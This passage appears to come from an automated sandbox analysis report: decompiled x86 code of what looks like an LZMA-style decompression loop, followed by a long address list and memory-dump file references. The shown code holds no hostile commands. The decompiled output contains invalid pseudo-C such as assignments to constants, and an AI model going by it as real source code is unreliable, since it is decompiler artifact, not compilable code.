							 *(_t614 - 0xc) =  *(_t614 - 0xc) << 0x00000008 |  *( *(_t614 - 0x70)) & 0x000000ff;
							L23:
							 *(_t614 - 0x48) =  *(_t614 - 0x48) - 1;
							if( *(_t614 - 0x48) != 0) {
								goto L21;
							}
							goto L24;
						case 4:
							goto L133;
						case 5:
							goto L137;
						case 6:
							goto L0;
						case 7:
							__eflags =  *(__ebp - 0x40) - 1;
							if( *(__ebp - 0x40) != 1) {
								__eax =  *(__ebp - 0x24);
								 *(__ebp - 0x80) = 0x16;
								 *(__ebp - 0x20) =  *(__ebp - 0x24);
								__eax =  *(__ebp - 0x28);
								 *(__ebp - 0x24) =  *(__ebp - 0x28);
								__eax =  *(__ebp - 0x2c);
								 *(__ebp - 0x28) =  *(__ebp - 0x2c);
								__eax = 0;
								__eflags =  *(__ebp - 0x38) - 7;
								0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
								__al = __al & 0x000000fd;
								__eax = (__eflags >= 0) - 1 + 0xa;
								 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xa;
								__eax =  *(__ebp - 4);
								__eax =  *(__ebp - 4) + 0x664;
								__eflags = __eax;
								 *(__ebp - 0x58) = __eax;
								goto L68;
							}
							__eax =  *(__ebp - 4);
							__ecx =  *(__ebp - 0x38);
							 *(__ebp - 0x84) = 8;
							__esi =  *(__ebp - 4) + 0x198 +  *(__ebp - 0x38) * 2;
							goto L132;
						case 8:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								__eax =  *(__ebp - 4);
								__ecx =  *(__ebp - 0x38);
								 *(__ebp - 0x84) = 0xa;
								__esi =  *(__ebp - 4) + 0x1b0 +  *(__ebp - 0x38) * 2;
							} else {
								__eax =  *(__ebp - 0x38);
								__ecx =  *(__ebp - 4);
								__eax =  *(__ebp - 0x38) + 0xf;
								 *(__ebp - 0x84) = 9;
								 *(__ebp - 0x38) + 0xf << 4 = ( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c);
								__esi =  *(__ebp - 4) + (( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c)) * 2;
							}
							goto L132;
						case 9:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								goto L89;
							}
							__eflags =  *(__ebp - 0x60);
							if( *(__ebp - 0x60) == 0) {
								goto L171;
							}
							__eax = 0;
							__eflags =  *(__ebp - 0x38) - 7;
							_t258 =  *(__ebp - 0x38) - 7 >= 0;
							__eflags = _t258;
							0 | _t258 = _t258 + _t258 + 9;
							 *(__ebp - 0x38) = _t258 + _t258 + 9;
							goto L75;
						case 0xa:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								__eax =  *(__ebp - 4);
								__ecx =  *(__ebp - 0x38);
								 *(__ebp - 0x84) = 0xb;
								__esi =  *(__ebp - 4) + 0x1c8 +  *(__ebp - 0x38) * 2;
								goto L132;
							}
							__eax =  *(__ebp - 0x28);
							goto L88;
						case 0xb:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								__ecx =  *(__ebp - 0x24);
								__eax =  *(__ebp - 0x20);
								 *(__ebp - 0x20) =  *(__ebp - 0x24);
							} else {
								__eax =  *(__ebp - 0x24);
							}
							__ecx =  *(__ebp - 0x28);
							 *(__ebp - 0x24) =  *(__ebp - 0x28);
							L88:
							__ecx =  *(__ebp - 0x2c);
							 *(__ebp - 0x2c) = __eax;
							 *(__ebp - 0x28) =  *(__ebp - 0x2c);
							L89:
							__eax =  *(__ebp - 4);
							 *(__ebp - 0x80) = 0x15;
							__eax =  *(__ebp - 4) + 0xa68;
							 *(__ebp - 0x58) =  *(__ebp - 4) + 0xa68;
							goto L68;
						case 0xc:
							L99:
							__eflags =  *(__ebp - 0x6c);
							if( *(__ebp - 0x6c) == 0) {
								 *(__ebp - 0x88) = 0xc;
								goto L170;
							}
							__ecx =  *(__ebp - 0x70);
							__eax =  *(__ebp - 0xc);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							_t334 = __ebp - 0x70;
							 *_t334 =  *(__ebp - 0x70) + 1;
							__eflags =  *_t334;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							__eax =  *(__ebp - 0x2c);
							goto L101;
						case 0xd:
							goto L36;
						case 0xe:
							goto L45;
						case 0xf:
							goto L57;
						case 0x10:
							L109:
							__eflags =  *(__ebp - 0x6c);
							if( *(__ebp - 0x6c) == 0) {
								 *(__ebp - 0x88) = 0x10;
								goto L170;
							}
							__ecx =  *(__ebp - 0x70);
							__eax =  *(__ebp - 0xc);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							_t365 = __ebp - 0x70;
							 *_t365 =  *(__ebp - 0x70) + 1;
							__eflags =  *_t365;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							goto L111;
						case 0x11:
							L68:
							__esi =  *(__ebp - 0x58);
							 *(__ebp - 0x84) = 0x12;
							goto L132;
						case 0x12:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								__eax =  *(__ebp - 0x58);
								 *(__ebp - 0x84) = 0x13;
								__esi =  *(__ebp - 0x58) + 2;
								goto L132;
							}
							__eax =  *(__ebp - 0x4c);
							 *(__ebp - 0x30) =  *(__ebp - 0x30) & 0x00000000;
							__ecx =  *(__ebp - 0x58);
							__eax =  *(__ebp - 0x4c) << 4;
							__eflags = __eax;
							__eax =  *(__ebp - 0x58) + __eax + 4;
							goto L130;
						case 0x13:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								_t469 = __ebp - 0x58;
								 *_t469 =  *(__ebp - 0x58) + 0x204;
								__eflags =  *_t469;
								 *(__ebp - 0x30) = 0x10;
								 *(__ebp - 0x40) = 8;
								L144:
								 *(__ebp - 0x7c) = 0x14;
								goto L145;
							}
							__eax =  *(__ebp - 0x4c);
							__ecx =  *(__ebp - 0x58);
							__eax =  *(__ebp - 0x4c) << 4;
							 *(__ebp - 0x30) = 8;
							__eax =  *(__ebp - 0x58) + ( *(__ebp - 0x4c) << 4) + 0x104;
							L130:
							 *(__ebp - 0x58) = __eax;
							 *(__ebp - 0x40) = 3;
							goto L144;
						case 0x14:
							 *(__ebp - 0x30) =  *(__ebp - 0x30) + __ebx;
							__eax =  *(__ebp - 0x80);
							goto L140;
						case 0x15:
							__eax = 0;
							__eflags =  *(__ebp - 0x38) - 7;
							0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
							__al = __al & 0x000000fd;
							__eax = (__eflags >= 0) - 1 + 0xb;
							 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xb;
							goto L120;
						case 0x16:
							__eax =  *(__ebp - 0x30);
							__eflags = __eax - 4;
							if(__eax >= 4) {
								_push(3);
								_pop(__eax);
							}
							__ecx =  *(__ebp - 4);
							 *(__ebp - 0x40) = 6;
							__eax = __eax << 7;
							 *(__ebp - 0x7c) = 0x19;
							 *(__ebp - 0x58) = __eax;
							goto L145;
						case 0x17:
							L145:
							__eax =  *(__ebp - 0x40);
							 *(__ebp - 0x50) = 1;
							 *(__ebp - 0x48) =  *(__ebp - 0x40);
							goto L149;
						case 0x18:
							L146:
							__eflags =  *(__ebp - 0x6c);
							if( *(__ebp - 0x6c) == 0) {
								 *(__ebp - 0x88) = 0x18;
								goto L170;
							}
							__ecx =  *(__ebp - 0x70);
							__eax =  *(__ebp - 0xc);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							_t484 = __ebp - 0x70;
							 *_t484 =  *(__ebp - 0x70) + 1;
							__eflags =  *_t484;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							L148:
							_t487 = __ebp - 0x48;
							 *_t487 =  *(__ebp - 0x48) - 1;
							__eflags =  *_t487;
							L149:
							__eflags =  *(__ebp - 0x48);
							if( *(__ebp - 0x48) <= 0) {
								__ecx =  *(__ebp - 0x40);
								__ebx =  *(__ebp - 0x50);
								0 = 1;
								__eax = 1 << __cl;
								__ebx =  *(__ebp - 0x50) - (1 << __cl);
								__eax =  *(__ebp - 0x7c);
								 *(__ebp - 0x44) = __ebx;
								goto L140;
							}
							__eax =  *(__ebp - 0x50);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
							__edx =  *(__ebp - 0x50) +  *(__ebp - 0x50);
							__eax =  *(__ebp - 0x58);
							__esi = __edx + __eax;
							 *(__ebp - 0x54) = __esi;
							__ax =  *__esi;
							__edi = __ax & 0x0000ffff;
							__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
							__eflags =  *(__ebp - 0xc) - __ecx;
							if( *(__ebp - 0xc) >= __ecx) {
								 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
								 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
								__cx = __ax;
								__cx = __ax >> 5;
								__eax = __eax - __ecx;
								__edx = __edx + 1;
								__eflags = __edx;
								 *__esi = __ax;
								 *(__ebp - 0x50) = __edx;
							} else {
								 *(__ebp - 0x10) = __ecx;
								0x800 = 0x800 - __edi;
								0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
								 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
								 *__esi = __cx;
							}
							__eflags =  *(__ebp - 0x10) - 0x1000000;
							if( *(__ebp - 0x10) >= 0x1000000) {
								goto L148;
							} else {
								goto L146;
							}
						case 0x19:
							__eflags = __ebx - 4;
							if(__ebx < 4) {
								 *(__ebp - 0x2c) = __ebx;
								L119:
								_t393 = __ebp - 0x2c;
								 *_t393 =  *(__ebp - 0x2c) + 1;
								__eflags =  *_t393;
								L120:
								__eax =  *(__ebp - 0x2c);
								__eflags = __eax;
								if(__eax == 0) {
									 *(__ebp - 0x30) =  *(__ebp - 0x30) | 0xffffffff;
									goto L170;
								}
								__eflags = __eax -  *(__ebp - 0x60);
								if(__eax >  *(__ebp - 0x60)) {
									goto L171;
								}
								 *(__ebp - 0x30) =  *(__ebp - 0x30) + 2;
								__eax =  *(__ebp - 0x30);
								_t400 = __ebp - 0x60;
								 *_t400 =  *(__ebp - 0x60) +  *(__ebp - 0x30);
								__eflags =  *_t400;
								goto L123;
							}
							__ecx = __ebx;
							__eax = __ebx;
							__ecx = __ebx >> 1;
							__eax = __ebx & 0x00000001;
							__ecx = (__ebx >> 1) - 1;
							__al = __al | 0x00000002;
							__eax = (__ebx & 0x00000001) << __cl;
							__eflags = __ebx - 0xe;
							 *(__ebp - 0x2c) = __eax;
							if(__ebx >= 0xe) {
								__ebx = 0;
								 *(__ebp - 0x48) = __ecx;
								L102:
								__eflags =  *(__ebp - 0x48);
								if( *(__ebp - 0x48) <= 0) {
									__eax = __eax + __ebx;
									 *(__ebp - 0x40) = 4;
									 *(__ebp - 0x2c) = __eax;
									__eax =  *(__ebp - 4);
									__eax =  *(__ebp - 4) + 0x644;
									__eflags = __eax;
									L108:
									__ebx = 0;
									 *(__ebp - 0x58) = __eax;
									 *(__ebp - 0x50) = 1;
									 *(__ebp - 0x44) = 0;
									 *(__ebp - 0x48) = 0;
									L112:
									__eax =  *(__ebp - 0x40);
									__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
									if( *(__ebp - 0x48) >=  *(__ebp - 0x40)) {
										_t391 = __ebp - 0x2c;
										 *_t391 =  *(__ebp - 0x2c) + __ebx;
										__eflags =  *_t391;
										goto L119;
									}
									__eax =  *(__ebp - 0x50);
									 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
									__edi =  *(__ebp - 0x50) +  *(__ebp - 0x50);
									__eax =  *(__ebp - 0x58);
									__esi = __edi + __eax;
									 *(__ebp - 0x54) = __esi;
									__ax =  *__esi;
									__ecx = __ax & 0x0000ffff;
									__edx = ( *(__ebp - 0x10) >> 0xb) * __ecx;
									__eflags =  *(__ebp - 0xc) - __edx;
									if( *(__ebp - 0xc) >= __edx) {
										__ecx = 0;
										 *(__ebp - 0x10) =  *(__ebp - 0x10) - __edx;
										__ecx = 1;
										 *(__ebp - 0xc) =  *(__ebp - 0xc) - __edx;
										__ebx = 1;
										__ecx =  *(__ebp - 0x48);
										__ebx = 1 << __cl;
										__ecx = 1 << __cl;
										__ebx =  *(__ebp - 0x44);
										__ebx =  *(__ebp - 0x44) | __ecx;
										__cx = __ax;
										__cx = __ax >> 5;
										__eax = __eax - __ecx;
										__edi = __edi + 1;
										__eflags = __edi;
										 *(__ebp - 0x44) = __ebx;
										 *__esi = __ax;
										 *(__ebp - 0x50) = __edi;
									} else {
										 *(__ebp - 0x10) = __edx;
										0x800 = 0x800 - __ecx;
										0x800 - __ecx >> 5 = (0x800 - __ecx >> 5) + __eax;
										 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
										 *__esi = __dx;
									}
									__eflags =  *(__ebp - 0x10) - 0x1000000;
									if( *(__ebp - 0x10) >= 0x1000000) {
										L111:
										_t368 = __ebp - 0x48;
										 *_t368 =  *(__ebp - 0x48) + 1;
										__eflags =  *_t368;
										goto L112;
									} else {
										goto L109;
									}
								}
								__ecx =  *(__ebp - 0xc);
								__ebx = __ebx + __ebx;
								 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 1;
								__eflags =  *(__ebp - 0xc) -  *(__ebp - 0x10);
								 *(__ebp - 0x44) = __ebx;
								if( *(__ebp - 0xc) >=  *(__ebp - 0x10)) {
									__ecx =  *(__ebp - 0x10);
									 *(__ebp - 0xc) =  *(__ebp - 0xc) -  *(__ebp - 0x10);
									__ebx = __ebx | 0x00000001;
									__eflags = __ebx;
									 *(__ebp - 0x44) = __ebx;
								}
								__eflags =  *(__ebp - 0x10) - 0x1000000;
								if( *(__ebp - 0x10) >= 0x1000000) {
									L101:
									_t338 = __ebp - 0x48;
									 *_t338 =  *(__ebp - 0x48) - 1;
									__eflags =  *_t338;
									goto L102;
								} else {
									goto L99;
								}
							}
							__edx =  *(__ebp - 4);
							__eax = __eax - __ebx;
							 *(__ebp - 0x40) = __ecx;
							__eax =  *(__ebp - 4) + 0x55e + __eax * 2;
							goto L108;
						case 0x1a:
							goto L55;
						case 0x1b:
							L75:
							__eflags =  *(__ebp - 0x64);
							if( *(__ebp - 0x64) == 0) {
								 *(__ebp - 0x88) = 0x1b;
								goto L170;
							}
							__eax =  *(__ebp - 0x14);
							__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
							__eflags = __eax -  *(__ebp - 0x74);
							if(__eax >=  *(__ebp - 0x74)) {
								__eax = __eax +  *(__ebp - 0x74);
								__eflags = __eax;
							}
							__edx =  *(__ebp - 8);
							__cl =  *(__eax + __edx);
							__eax =  *(__ebp - 0x14);
							 *(__ebp - 0x5c) = __cl;
							 *(__eax + __edx) = __cl;
							__eax = __eax + 1;
							__edx = 0;
							_t274 = __eax %  *(__ebp - 0x74);
							__eax = __eax /  *(__ebp - 0x74);
							__edx = _t274;
							__eax =  *(__ebp - 0x68);
							 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
							 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
							_t283 = __ebp - 0x64;
							 *_t283 =  *(__ebp - 0x64) - 1;
							__eflags =  *_t283;
							 *( *(__ebp - 0x68)) = __cl;
							goto L79;
						case 0x1c:
							while(1) {
								L123:
								__eflags =  *(__ebp - 0x64);
								if( *(__ebp - 0x64) == 0) {
									break;
								}
								__eax =  *(__ebp - 0x14);
								__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
								__eflags = __eax -  *(__ebp - 0x74);
								if(__eax >=  *(__ebp - 0x74)) {
									__eax = __eax +  *(__ebp - 0x74);
									__eflags = __eax;
								}
								__edx =  *(__ebp - 8);
								__cl =  *(__eax + __edx);
								__eax =  *(__ebp - 0x14);
								 *(__ebp - 0x5c) = __cl;
								 *(__eax + __edx) = __cl;
								__eax = __eax + 1;
								__edx = 0;
								_t414 = __eax %  *(__ebp - 0x74);
								__eax = __eax /  *(__ebp - 0x74);
								__edx = _t414;
								__eax =  *(__ebp - 0x68);
								 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
								 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
								 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
								__eflags =  *(__ebp - 0x30);
								 *( *(__ebp - 0x68)) = __cl;
								 *(__ebp - 0x14) = __edx;
								if( *(__ebp - 0x30) > 0) {
									continue;
								} else {
									goto L80;
								}
							}
							 *(__ebp - 0x88) = 0x1c;
							goto L170;
					}
				}
			}

0x00000000
0x00406d5f
0x00406d5f
0x00406d64
0x00406ddb
0x00406de2
0x00406dec
0x004073cb
0x004073cb
0x004073ce
0x004073ce
0x004073d4
0x004073da
0x004073e0
0x004073fa
0x004073fd
0x00407403
0x0040740e
0x00407410
0x004073e2
0x004073e2
0x004073f1
0x004073f5
0x004073f5
0x0040741a
0x00407441
0x00407441
0x00407447
0x00407447
0x00000000
0x0040741c
0x0040741c
0x00407420
0x004075cf
0x00000000
0x004075cf
0x0040742c
0x00407433
0x0040743b
0x0040743e
0x00000000
0x0040743e
0x00406d66
0x00406d66
0x00406d6a
0x00406d72
0x00406d75
0x00406d77
0x00406d7a
0x00406d7c
0x00406d81
0x00406d84
0x00406d8b
0x00406d92
0x00406d95
0x00406da0
0x00406da8
0x00406da8
0x00406da2
0x00406da2
0x00406da2
0x00406d97
0x00406d97
0x00406d97
0x00406daf
0x00406dcd
0x00406dcf
0x00406fa2
0x00406fa2
0x00406fa5
0x00406fa8
0x00406fab
0x00406fae
0x00406fb1
0x00406fb4
0x00406fb7
0x00406fba
0x00406fc0
0x00406fd8
0x00406fdb
0x00406fde
0x00406fe1
0x00406fe1
0x00406fe4
0x00406fea
0x00406fc2
0x00406fc2
0x00406fca
0x00406fcf
0x00406fd1
0x00406fd3
0x00406fd3
0x00406ff4
0x00406ff7
0x00406f9a
0x00406fa0
0x00000000
0x00000000
0x00000000
0x00406ff9
0x00406f75
0x00406f79
0x00407581
0x00000000
0x00407581
0x00406f7f
0x00406f82
0x00406f85
0x00406f89
0x00406f8c
0x00406f92
0x00406f94
0x00406f94
0x00406f97
0x00000000
0x00406f97
0x00406db1
0x00406db1
0x00406db4
0x00406dba
0x00406dbc
0x00406dbc
0x00406dbf
0x00406dc2
0x00406dc4
0x00406dc5
0x00406dc8
0x00406e35
0x00406e35
0x00406e39
0x00406e3c
0x00406e3f
0x00406e42
0x00406e45
0x00406e46
0x00406e49
0x00406e4b
0x00406e51
0x00406e54
0x00406e57
0x00406e5a
0x00406e5d
0x00406e63
0x00406e7f
0x00406e82
0x00406e85
0x00406e88
0x00406e8f
0x00406e95
0x00406e99
0x00406e65
0x00406e65
0x00406e69
0x00406e71
0x00406e76
0x00406e78
0x00406e7a
0x00406e7a
0x00406ea3
0x00406ea6
0x00406e1d
0x00406e1d
0x00406e23
0x00406ed6
0x00406edc
0x00000000
0x00000000
0x00406ede
0x00406ee1
0x00406ee4
0x00406ee7
0x00406eea
0x00406eed
0x00406ef0
0x00406ef3
0x00406ef6
0x00406efc
0x00406f14
0x00406f17
0x00406f1a
0x00406f1d
0x00406f1d
0x00406f20
0x00406f26
0x00406efe
0x00406efe
0x00406f06
0x00406f0b
0x00406f0d
0x00406f0f
0x00406f0f
0x00406f30
0x00406f33
0x00406eb1
0x00406eb5
0x00407575
0x00000000
0x00407575
0x00406ebb
0x00406ebe
0x00406ec1
0x00406ec5
0x00406ec8
0x00406ece
0x00406ed0
0x00406ed0
0x00406ed3
0x00406ed3
0x00406f33
0x00406f3a
0x00406f3a
0x00406f3a
0x00406f3e
0x00406f3e
0x00406f41
0x00406f44
0x00406f48
0x0040758d
0x00000000
0x0040758d
0x00406f4e
0x00406f51
0x00406f54
0x00406f57
0x00406f5a
0x00406f5d
0x00406f60
0x00406f62
0x00406f65
0x00406f68
0x00406f6b
0x00406f6d
0x00406f6d
0x00406f6d
0x0040710a
0x0040710a
0x0040710d
0x0040710d
0x00000000
0x0040710d
0x00406e2f
0x00000000
0x00000000
0x00000000
0x00406eac
0x00406df8
0x00406dfc
0x00407569
0x004075e5
0x004075ed
0x004075f4
0x004075f6
0x004075fd
0x00407601
0x00407601
0x00406e02
0x00406e05
0x00406e08
0x00406e0c
0x00406e0f
0x00406e15
0x00406e17
0x00406e17
0x00406e1a
0x00000000
0x00406e1a
0x00406ea6
0x00406daf
0x00406be3
0x00406be3
0x00406bec
0x004075fa
0x004075fa
0x00000000
0x004075fa
0x00406bf2
0x00000000
0x00406bfd
0x00000000
0x00000000
0x00406c06
0x00406c09
0x00406c0c
0x00406c10
0x00000000
0x00000000
0x00406c16
0x00406c19
0x00406c1b
0x00406c1c
0x00406c1f
0x00406c21
0x00406c22
0x00406c24
0x00406c27
0x00406c2c
0x00406c31
0x00406c3a
0x00406c4d
0x00406c50
0x00406c5c
0x00406c84
0x00406c86
0x00406c94
0x00406c94
0x00406c98
0x00000000
0x00000000
0x00000000
0x00000000
0x00406c88
0x00406c88
0x00406c8b
0x00406c8c
0x00406c8c
0x00000000
0x00406c88
0x00406c62
0x00406c67
0x00406c67
0x00406c70
0x00406c78
0x00406c7b
0x00000000
0x00406c81
0x00406c81
0x00000000
0x00406c81
0x00000000
0x00406c9e
0x00406c9e
0x00406ca2
0x0040754e
0x00000000
0x0040754e
0x00406cab
0x00406cbb
0x00406cbe
0x00406cc1
0x00406cc1
0x00406cc1
0x00406cc4
0x00406cc8
0x00000000
0x00000000
0x00406cca
0x00406cd0
0x00406cfa
0x00406d00
0x00406d07
0x00000000
0x00406d07
0x00406cd6
0x00406cd9
0x00406cde
0x00406cde
0x00406ce9
0x00406cf1
0x00406cf4
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406d39
0x00406d3f
0x00406d42
0x00406d4f
0x00406d57
0x00000000
0x00000000
0x00406d0e
0x00406d0e
0x00406d12
0x0040755d
0x00000000
0x0040755d
0x00406d1e
0x00406d29
0x00406d29
0x00406d29
0x00406d2c
0x00406d2f
0x00406d32
0x00406d37
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406ffe
0x00407002
0x00407020
0x00407023
0x0040702a
0x0040702d
0x00407030
0x00407033
0x00407036
0x00407039
0x0040703b
0x00407042
0x00407043
0x00407045
0x00407048
0x0040704b
0x0040704e
0x0040704e
0x00407053
0x00000000
0x00407053
0x00407004
0x00407007
0x0040700a
0x00407014
0x00000000
0x00000000
0x00407068
0x0040706c
0x0040708f
0x00407092
0x00407095
0x0040709f
0x0040706e
0x0040706e
0x00407071
0x00407074
0x00407077
0x00407084
0x00407087
0x00407087
0x00000000
0x00000000
0x004070ab
0x004070af
0x00000000
0x00000000
0x004070b5
0x004070b9
0x00000000
0x00000000
0x004070bf
0x004070c1
0x004070c5
0x004070c5
0x004070c8
0x004070cc
0x00000000
0x00000000
0x0040711c
0x00407120
0x00407127
0x0040712a
0x0040712d
0x00407137
0x00000000
0x00407137
0x00407122
0x00000000
0x00000000
0x00407143
0x00407147
0x0040714e
0x00407151
0x00407154
0x00407149
0x00407149
0x00407149
0x00407157
0x0040715a
0x0040715d
0x0040715d
0x00407160
0x00407163
0x00407166
0x00407166
0x00407169
0x00407170
0x00407175
0x00000000
0x00000000
0x00407203
0x00407203
0x00407207
0x004075a5
0x00000000
0x004075a5
0x0040720d
0x00407210
0x00407213
0x00407217
0x0040721a
0x00407220
0x00407222
0x00407222
0x00407222
0x00407225
0x00407228
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00407286
0x00407286
0x0040728a
0x004075b1
0x00000000
0x004075b1
0x00407290
0x00407293
0x00407296
0x0040729a
0x0040729d
0x004072a3
0x004072a5
0x004072a5
0x004072a5
0x004072a8
0x00000000
0x00000000
0x00407056
0x00407056
0x00407059
0x00000000
0x00000000
0x00407395
0x00407399
0x004073bb
0x004073be
0x004073c8
0x00000000
0x004073c8
0x0040739b
0x0040739e
0x004073a2
0x004073a5
0x004073a5
0x004073a8
0x00000000
0x00000000
0x00407452
0x00407456
0x00407474
0x00407474
0x00407474
0x0040747b
0x00407482
0x00407489
0x00407489
0x00000000
0x00407489
0x00407458
0x0040745b
0x0040745e
0x00407461
0x00407468
0x004073ac
0x004073ac
0x004073af
0x00000000
0x00000000
0x00407543
0x00407546
0x00000000
0x00000000
0x0040717d
0x0040717f
0x00407186
0x00407187
0x00407189
0x0040718c
0x00000000
0x00000000
0x00407194
0x00407197
0x0040719a
0x0040719c
0x0040719e
0x0040719e
0x0040719f
0x004071a2
0x004071a9
0x004071ac
0x004071ba
0x00000000
0x00000000
0x00407490
0x00407490
0x00407493
0x0040749a
0x00000000
0x00000000
0x0040749f
0x0040749f
0x004074a3
0x004075db
0x00000000
0x004075db
0x004074a9
0x004074ac
0x004074af
0x004074b3
0x004074b6
0x004074bc
0x004074be
0x004074be
0x004074be
0x004074c1
0x004074c4
0x004074c4
0x004074c4
0x004074c4
0x004074c7
0x004074c7
0x004074cb
0x0040752b
0x0040752e
0x00407533
0x00407534
0x00407536
0x00407538
0x0040753b
0x00000000
0x0040753b
0x004074cd
0x004074d3
0x004074d6
0x004074d9
0x004074dc
0x004074df
0x004074e2
0x004074e5
0x004074e8
0x004074eb
0x004074ee
0x00407507
0x0040750a
0x0040750d
0x00407510
0x00407514
0x00407516
0x00407516
0x00407517
0x0040751a
0x004074f0
0x004074f0
0x004074f8
0x004074fd
0x004074ff
0x00407502
0x00407502
0x0040751d
0x00407524
0x00000000
0x00407526
0x00000000
0x00407526
0x00000000
0x004071c2
0x004071c5
0x004071fb
0x0040732b
0x0040732b
0x0040732b
0x0040732b
0x0040732e
0x0040732e
0x00407331
0x00407333
0x004075bd
0x00000000
0x004075bd
0x00407339
0x0040733c
0x00000000
0x00000000
0x00407342
0x00407346
0x00407349
0x00407349
0x00407349
0x00000000
0x00407349
0x004071c7
0x004071c9
0x004071cb
0x004071cd
0x004071d0
0x004071d1
0x004071d3
0x004071d5
0x004071d8
0x004071db
0x004071f1
0x004071f6
0x0040722e
0x0040722e
0x00407232
0x0040725e
0x00407260
0x00407267
0x0040726a
0x0040726d
0x0040726d
0x00407272
0x00407272
0x00407274
0x00407277
0x0040727e
0x00407281
0x004072ae
0x004072ae
0x004072b1
0x004072b4
0x00407328
0x00407328
0x00407328
0x00000000
0x00407328
0x004072b6
0x004072bc
0x004072bf
0x004072c2
0x004072c5
0x004072c8
0x004072cb
0x004072ce
0x004072d1
0x004072d4
0x004072d7
0x004072f0
0x004072f2
0x004072f5
0x004072f6
0x004072f9
0x004072fb
0x004072fe
0x00407300
0x00407302
0x00407305
0x00407307
0x0040730a
0x0040730e
0x00407310
0x00407310
0x00407311
0x00407314
0x00407317
0x004072d9
0x004072d9
0x004072e1
0x004072e6
0x004072e8
0x004072eb
0x004072eb
0x0040731a
0x00407321
0x004072ab
0x004072ab
0x004072ab
0x004072ab
0x00000000
0x00407323
0x00000000
0x00407323
0x00407321
0x00407234
0x00407237
0x00407239
0x0040723c
0x0040723f
0x00407242
0x00407244
0x00407247
0x0040724a
0x0040724a
0x0040724d
0x0040724d
0x00407250
0x00407257
0x0040722b
0x0040722b
0x0040722b
0x0040722b
0x00000000
0x00407259
0x00000000
0x00407259
0x00407257
0x004071dd
0x004071e0
0x004071e2
0x004071e5
0x00000000
0x00000000
0x00000000
0x00000000
0x004070cf
0x004070cf
0x004070d3
0x00407599
0x00000000
0x00407599
0x004070d9
0x004070dc
0x004070df
0x004070e2
0x004070e4
0x004070e4
0x004070e4
0x004070e7
0x004070ea
0x004070ed
0x004070f0
0x004070f3
0x004070f6
0x004070f7
0x004070f9
0x004070f9
0x004070f9
0x004070fc
0x004070ff
0x00407102
0x00407105
0x00407105
0x00407105
0x00407108
0x00000000
0x00000000
0x0040734c
0x0040734c
0x0040734c
0x00407350
0x00000000
0x00000000
0x00407356
0x00407359
0x0040735c
0x0040735f
0x00407361
0x00407361
0x00407361
0x00407364
0x00407367
0x0040736a
0x0040736d
0x00407370
0x00407373
0x00407374
0x00407376
0x00407376
0x00407376
0x00407379
0x0040737c
0x0040737f
0x00407382
0x00407385
0x00407389
0x0040738b
0x0040738e
0x00000000
0x00407390
0x00000000
0x00407390
0x0040738e
0x004075c3
0x00000000
0x00000000
0x00406bf2

Memory Dump Source

Source File: 00000000.00000002.3283025001.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3282990682.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283105081.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
